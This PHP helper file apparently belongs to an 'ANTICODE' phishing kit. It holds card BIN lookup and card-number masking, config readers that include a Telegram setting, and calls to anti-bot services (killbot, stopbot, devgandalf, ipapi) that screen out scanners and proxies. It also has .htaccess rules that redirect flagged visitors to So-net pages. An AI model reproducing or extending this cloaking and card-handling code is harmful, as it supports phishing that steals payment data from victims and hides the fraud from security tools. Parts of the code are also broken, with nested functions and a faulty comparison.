<?php
function _time()
{
    $timezone = new DateTimeZone('Asia/Jakarta');
    $date = new DateTime();
    $date->setTimeZone($timezone);
    $time = $date->format('H:i A');

    return $time;
}

function _date()
{
    $timezone = new DateTimeZone('Asia/Jakarta');
    $date = new DateTime();
    $date->setTimeZone($timezone);
    $fullday = $date->format('H:i A - D, d M Y');

    return $fullday;
}

function write($filename, $mode, $data)
{
    $fp = @fopen($filename, $mode);
    @fwrite($fp, $data);
    @fclose($fp);
}

function look_bin($num)
{
    error_reporting(0);
    $num    = str_replace(' ', '', trim($num));
    $num    = substr($num, 0, 6);
    $result  = @json_decode(curl("https://lookup.binlist.net/" . $num, false, true), true);
    $brand   = ($result['scheme'] ? $result['scheme'] : "unknown brand");
    $type    = ($result['type'] ? $result['type'] : "unknown type");
    $level   = ($result['brand'] ? $result['brand'] : "unknown level");
    $bank    = ($result['bank']['name'] ? $result['bank']['name'] : "unknown bank");
    $data    = strtoupper($num . " " . $brand . " " . $type . " " . $level . " " . $bank);

    return $data;
}

function curl($url, $hasHeader = false, $hasBody = true, $useragent = NULL, $time = NULL)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3");

    curl_setopt($ch, CURLOPT_HEADER, $hasHeader ? 1 : 0);
    curl_setopt($ch, CURLOPT_NOBODY, $hasBody ? 0 : 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1_0);


    if (!is_null($time))
        curl_setopt($ch, CURLOPT_TIMEOUT, $time);
    if (!is_null($time))
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $time);

    $data = curl_exec($ch);
    curl_close($ch);

    return $data;
}

function write_php_ini($array, $file)
{
    $res = array();
    foreach ($array as $key => $val) {

        if (is_array($val)) {
            $res[] = "[$key]";
            foreach ($val as $skey => $sval) $res[] = "$skey = " . (is_numeric($sval) ? $sval : '"' . $sval . '"');
        } else $res[] = "$key = " . (is_numeric($val) ? $val : '"' . $val . '"');
    }

    safefilerewrite($file, implode("\r\n", $res));
}

function safefilerewrite($fileName, $dataToSave)
{

    if ($fp = fopen($fileName, 'w')) {
        $startTime = microtime(TRUE);

        do {
            $canWrite = flock($fp, LOCK_EX);
            if (!$canWrite) usleep(round(rand(0, 100) * 1000));
        } while ((!$canWrite) and ((microtime(TRUE) - $startTime) < 5));

        if ($canWrite) {
            fwrite($fp, $dataToSave);
            flock($fp, LOCK_UN);
        }

        fclose($fp);
    }
}

function _404($message)
{
    echo "
<!DOCTYPE html>
<html>
<head>
    <meta charset=\"utf-8\">
    <meta name=\"robots\" content=\"noindex, nofollow, noarchive, nosnippet, noodp, noydir\">
    <title>404</title>
</head>
<body>
<code>{$message}</code>
</body>
</html>
    ";
}

function view($view, $params = [])
{
    if (strncmp($view, '/', 1) !== 0) {
        $view = FCPATH . 'ANTICODE/Views/' . $view . ".php";
    }

    if (is_file($view . '.php')) {
        $view .= '.php';
    }

    return renderFile($view, $params);
}

function renderFile($_file_, $_params_ = [])
{
    ob_start();
    ob_implicit_flush(false);
    extract($_params_, EXTR_OVERWRITE);
    require($_file_);
    return ob_get_clean();
}

function base_url()
{
    $base_url = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == "on") ? "https" : "http");
    $base_url .= "://" . @$_SERVER['HTTP_HOST'];
    $base_url .= str_replace(basename($_SERVER['SCRIPT_NAME']), "", $_SERVER['SCRIPT_NAME']);

    return $base_url;
}

function curlCrack($url)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($ch);
    curl_close($ch);
    return $response;
}

function _ipwhois($name)
{
    $get = parse_ini_file(FCPATH . "ANTICODE/Priv/ipwhois.ini");
    return $get[$name];
}

function _proip($name)
{
    $get = parse_ini_file(FCPATH . "ANTICODE/Priv/proip.ini");
    return $get[$name];
}

function _geoGet($ip_address)
{
    $key = _ipwhois('KEY');
    $url               = "http://ipwhois.pro/$ip_address?key=$key";
    $getGeo            = json_decode(curl($url, false, true), 1);

    return $getGeo;
}

function _getLocation($ip_address)
{
    $key = _proip('KEY');
    $url = "https://pro.ip-api.com/json/$ip_address?key=$key";
    $getGeo = json_decode(curl($url, false, true), 1);

    return $getGeo;
}

function _blocks()
{
    return write(FCPATH . '.htaccess', 'a', "\r\nRewriteCond %{REMOTE_ADDR} ^" . $_SERVER['REMOTE_ADDR'] . "$\r\nRewriteRule .* " . uriRand() . " [R,L]\r\n");
}

function uriRand()
{
    $uri = [
        "https://www.so-net.ne.jp/support/contact/help/id/",
        "https://www.so-net.ne.jp/mc/cl/?p=23Gl-1d-2WT2RI",
    ];

    return $uri[array_rand($uri)];
}

function _params($length = 10)
{
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_';
    $charactersLength = strlen($characters);
    $randomString = '';

    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[random_int(0, $charactersLength - 1)];
    }

    return $randomString;
}

function redirect($uri = '', $method = 'auto', $code = NULL)
{
    if (!preg_match('#^(\w+:)?//#i', $uri)) {
        $uri = base_url($uri);
    }

    if ($method === 'auto' && isset($_SERVER['SERVER_SOFTWARE']) && strpos($_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS') !== FALSE) {
        $method = 'refresh';
    } elseif ($method !== 'refresh' && (empty($code) or !is_numeric($code))) {

        if (isset($_SERVER['SERVER_PROTOCOL'], $_SERVER['REQUEST_METHOD']) && $_SERVER['SERVER_PROTOCOL'] === 'HTTP/1.1') {
            $code = ($_SERVER['REQUEST_METHOD'] !== 'GET')
                ? 303
                : 307;
        } else {
            $code = 302;
        }
    }

    switch ($method) {

        case 'refresh':
            header('Refresh:0;url=' . $uri);
            break;

        default:
            header('Location: ' . $uri, TRUE, $code);
            break;
    }

    exit;
}

function _config($name)
{
    $get = parse_ini_file(FCPATH . "ANTICODE/Priv/.settings.ini");
    return $get[$name];
}

function _antibot($name)
{
    $get = parse_ini_file(FCPATH . "ANTICODE/Priv/antibot.ini");
    return $get[$name];
}

function _ipapi($name)
{
    $get = parse_ini_file(FCPATH . "ANTICODE/Priv/ipapi.ini");
    return $get[$name];
}

function telex($name)
{
    $get = parse_ini_file(FCPATH . "ANTICODE/Priv/telegram.ini");
    return $get[$name];
}

function _stopbot($name)
{
    $get = parse_ini_file(FCPATH . "ANTICODE/Priv/stopbot.ini");
    return $get[$name];
}

function _anticode($name)
{
    $get = parse_ini_file(FCPATH . "ANTICODE/Priv/blocker.ini");
    return $get[$name];
}

function _devgandalf($name)
{
    $get = parse_ini_file(FCPATH . "ANTICODE/Priv/devgandalf.ini");
    return $get[$name];
}

function _panel($name)
{
    $get = parse_ini_file(FCPATH . "ANTICODE/Priv/setpanel.ini");
    return $get[$name];
}
function ccMasking($number)
{
    return substr($number, 0, 0) . substr($number, -4);
}


function antibot($ip, $useragent)
{
    $key = _antibot('KEY');
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, 'https://api.killbot.to/check');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
    curl_setopt($ch, CURLOPT_HTTPHEADER, ['X-API-Key: ' . $key]);
    curl_setopt($ch, CURLOPT_POSTFIELDS, [
        'ip' => $ip,
        'ua' => urlencode($useragent),
    ]);
    $response = curl_exec($ch);
    curl_close($ch);
    $datajson = json_decode($response, true);
    $isBot = $datajson["block"];
    if ($isBot == true) {
        return true;
    } else {
        return false;
    }
}

function gandalfblocker($ip, $useragent)
{
    $data = curlCrack("https://api.devgandalf.com/blocker/block.php?ip=" . $ip . "&apikey=" . _devgandalf("KEY") . "&ua=" . urlencode($useragent));
    $datajson = json_decode($data, true);
    $isBot = $datajson['status'];
    if ($isBot == "blocked") {
        return true;
    } else {
        return false;
    }
}

function stopbot($ip, $useragent)
{
    $key = _stopbot('KEY');
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_USERAGENT, "Stopbot Blocker");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, "https://stopbot.net/api/blocker?apikey=" . $key . "&ip=" . $ip . "&ua=" . urlencode($useragent) . "&url=" . urlencode($_SERVER['REQUEST_URI']));
    $data = curl_exec($ch);
    curl_close($ch);

    $json = json_decode($data, true);
    $xcode = $json['meta']['code'];
    $blocked = $json['IPStatus'] == 1 ? $json['IPStatus']['isBot'] : $json['IPStatus']['BlockAccess'];

    if ($xcode = 200 && $blocked) {
        return true;
    } else {
        return false;
    }
}

function ipv4_in_range($ip, $range)
{
    if (strpos($range, '/') !== false) {
        // $range is in IP/NETMASK format
        list($range, $netmask) = explode('/', $range, 2);
        if (strpos($netmask, '.') !== false) {
            // $netmask is a 255.255.0.0 format
            $netmask = str_replace('*', '0', $netmask);
            $netmask_dec = ip2long($netmask);
            return ((ip2long($ip) & $netmask_dec) == (ip2long($range) & $netmask_dec));
        } else {
            // $netmask is a CIDR size block
            // fix the range argument
            $x = explode('.', $range);
            while (count($x) < 4) $x[] = '0';
            list($a, $b, $c, $d) = $x;
            $range = sprintf("%u.%u.%u.%u", empty($a) ? '0' : $a, empty($b) ? '0' : $b, empty($c) ? '0' : $c, empty($d) ? '0' : $d);
            $range_dec = ip2long($range);
            $ip_dec = ip2long($ip);

            # Strategy 1 - Create the netmask with 'netmask' 1s and then fill it to 32 with 0s
            #$netmask_dec = bindec(str_pad('', $netmask, '1') . str_pad('', 32-$netmask, '0'));

            # Strategy 2 - Use math to create it
            $wildcard_dec = pow(2, (32 - $netmask)) - 1;
            $netmask_dec = ~$wildcard_dec;

            return (($ip_dec & $netmask_dec) == ($range_dec & $netmask_dec));
        }
    } else {
        // range might be 255.255.*.* or 1.2.3.0-1.2.3.255
        if (strpos($range, '*') !== false) { // a.b.*.* format
            // Just convert to A-B format by setting * to 0 for A and 255 for B
            $lower = str_replace('*', '0', $range);
            $upper = str_replace('*', '255', $range);
            $range = "$lower-$upper";
        }

        if (strpos($range, '-') !== false) { // A-B format
            list($lower, $upper) = explode('-', $range, 2);
            $lower_dec = (float)sprintf("%u", ip2long($lower));
            $upper_dec = (float)sprintf("%u", ip2long($upper));
            $ip_dec = (float)sprintf("%u", ip2long($ip));
            return (($ip_dec >= $lower_dec) && ($ip_dec <= $upper_dec));
        }
        return false;
    }
}

function ATC($ip, $bots)
{

    $blacklist = array(
        "192.168.0.1",
        "10.0.0.1",
        ""
    );

    if (in_array($ip, $blacklist)) {
        return true;
    } else {
        return false;
    }
}
function ANTICODEGet($ip)
{

    if ($_SERVER['HTTP_X_FORWARDED_FOR'] || $_SERVER['HTTP_X_FORWARDED'] || $_SERVER['HTTP_FORWARDED_FOR'] || $_SERVER['HTTP_CLIENT_IP'] || $_SERVER['HTTP_VIA'] || in_array($_SERVER['REMOTE_PORT'], array(8080, 80, 6588, 8000, 3128, 553, 554))) {
        return true;
        return false;
    }

    function AnticodeAPI($ip)
    {

        $key = _ipapi('KEY');
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_USERAGENT, "Ip api");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

        curl_setopt($ch, CURLOPT_URL, "https://api.ipapi.is/?q=" . $ip . "&key=" . $key);
        $data = curl_exec($ch);
        curl_close($ch);
        $resp = json_decode($data, true);
        if (isset($resp['is_proxy']) && $resp['is_proxy'] == true) {
            return true;
        } else {
            return false;
        }
    }


    function blackbox($ip)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, "https://blackbox.ipinfo.app/lookup/" . $ip);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $resp = curl_exec($ch);
        curl_close($ch);
        $result = $resp;

        if ($result == "Y") {
            return true;
        } else {
            return false;
        }
    }
}
